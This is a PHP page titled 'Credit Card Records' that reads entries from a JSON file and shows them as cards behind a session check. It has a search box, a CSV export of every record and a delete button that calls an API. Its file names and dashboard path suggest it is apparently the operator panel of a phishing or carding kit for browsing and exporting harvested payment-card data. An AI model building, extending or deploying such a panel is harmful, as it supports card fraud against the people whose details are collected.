<?php
session_start();

if (!isset($_SESSION['dibi-ut']) || $_SESSION['dibi-ut'] !== true) {
    http_response_code(403);
    echo "🚫 ACCESS DENIED";
    exit();
}

$data_file = "cici.json";
$data = file_exists($data_file) ? json_decode(file_get_contents($data_file), true) : [];

usort($data, function ($a, $b) {
    return strtotime($b['log_at'] ?? '1970-01-01') <=> strtotime($a['log_at'] ?? '1970-01-01');
});

if (isset($_GET['export']) && $_GET['export'] === 'csv') {
    header("Content-Type: text/csv");
    header("Content-Disposition: attachment; filename=cici.csv");
    $out = fopen("php://output", "w");
    fputcsv($out, array_keys($data[0] ?? []));
    foreach ($data as $row) {
        fputcsv($out, $row);
    }
    fclose($out);
    exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Credit Card Data</title>

<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">

<style>
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Inter', sans-serif;
    background: radial-gradient(circle at top, #0f172a, #020617);
    color: #e2e8f0;
    min-height: 100vh;
    padding: 40px;
}

/* HEADER */
.header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 25px;
    flex-wrap: wrap;
    gap: 10px;
}

h1 {
    font-size: 26px;
    font-weight: 600;
    background: linear-gradient(90deg, #22d3ee, #6366f1);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
}

/* BUTTONS */
.btn {
    background: #111827;
    color: #e2e8f0;
    border: 1px solid #334155;
    padding: 10px 16px;
    border-radius: 10px;
    font-size: 14px;
    cursor: pointer;
    transition: 0.2s;
    text-decoration: none;
}

.btn:hover {
    background: #1e293b;
    transform: translateY(-1px);
}

/* TOPBAR */
.topbar {
    display: flex;
    justify-content: space-between;
    margin-bottom: 25px;
    flex-wrap: wrap;
    gap: 10px;
}

.search {
    padding: 10px 14px;
    width: 280px;
    background: rgba(15, 23, 42, 0.6);
    color: #e2e8f0;
    border: 1px solid #334155;
    border-radius: 12px;
    outline: none;
}

.search:focus {
    border-color: #6366f1;
    box-shadow: 0 0 0 2px rgba(99,102,241,0.25);
}

/* CARD GRID */
.card-container {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(320px, 1fr));
    gap: 20px;
}

/* CARD */
.card {
    background: rgba(15, 23, 42, 0.7);
    backdrop-filter: blur(14px);
    border-radius: 18px;
    padding: 20px;
    border: 1px solid rgba(148,163,184,0.15);
    box-shadow: 0 10px 30px rgba(0,0,0,0.4);
    position: relative;
    transition: 0.25s ease;
}

.card:hover {
    transform: translateY(-4px);
    box-shadow: 0 15px 40px rgba(0,0,0,0.6);
}

.card h3 {
    margin-bottom: 10px;
    font-size: 18px;
}

/* LABEL */
.label {
    font-weight: 600;
    color: #94a3b8;
}

.value {
    margin-bottom: 8px;
    word-break: break-word;
}

/* DELETE BUTTON */
.delete-btn {
    position: absolute;
    top: 14px;
    right: 14px;
    background: linear-gradient(135deg, #ef4444, #dc2626);
    border: none;
    color: white;
    padding: 6px 12px;
    border-radius: 8px;
    font-size: 12px;
    cursor: pointer;
    transition: 0.2s;
}

.delete-btn:hover {
    transform: scale(1.05);
    box-shadow: 0 0 10px rgba(239,68,68,0.6);
}

/* EMPTY */
.no-data {
    text-align: center;
    color: #94a3b8;
    font-size: 18px;
    margin-top: 40px;
}

/* RESPONSIVE */
@media (max-width: 768px) {
    body { padding: 20px; }
    .search { width: 100%; }
}
</style>

<script>
function filterCards() {
    const search = document.getElementById("search").value.toLowerCase();
    document.querySelectorAll(".card").forEach(card => {
        const text = card.innerText.toLowerCase();
        card.style.display = text.includes(search) ? "block" : "none";
    });
}

async function deleteCard(id) {
    if (!confirm("Delete this entry?")) return;

    try {
        const res = await fetch("./api/cici_api.php", {
            method: "DELETE",
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: new URLSearchParams({ id })
        });

        const result = await res.json();

        if (result.status === 'deleted') {
            location.reload();
        } else {
            alert("Failed: " + (result.error || "Unknown error"));
        }
    } catch {
        alert("Server communication failed.");
    }
}
</script>
</head>

<body>

<div class="header">
    <h1>💳 Credit Card Records</h1>
    <a href="/nano/prime-sign/api/dashboard/index.php" class="btn">← Dashboard</a>
</div>

<div class="topbar">
    <input type="text" id="search" class="search" onkeyup="filterCards()" placeholder="Search all fields...">
    <a href="?export=csv" class="btn">📤 Export CSV</a>
</div>

<?php if (empty($data)): ?>
    <p class="no-data">No data available.</p>
<?php else: ?>
<div class="card-container">
    <?php foreach ($data as $item): ?>
        <div class="card">
            <button class="delete-btn" onclick="deleteCard('<?= htmlspecialchars($item['id']) ?>')">Delete</button>
            <h3><?= htmlspecialchars($item['name'] ?? '-') ?></h3>

            <?php foreach ($item as $key => $value): ?>
                <?php if ($key !== 'name' && $key !== 'id'): ?>
                    <div>
                        <span class="label"><?= htmlspecialchars(ucwords(str_replace('_', ' ', $key))) ?>:</span>
                        <span class="value"><?= htmlspecialchars($value) ?></span>
                    </div>
                <?php endif; ?>
            <?php endforeach; ?>
        </div>
    <?php endforeach; ?>
</div>
<?php endif; ?>

</body>
</html>
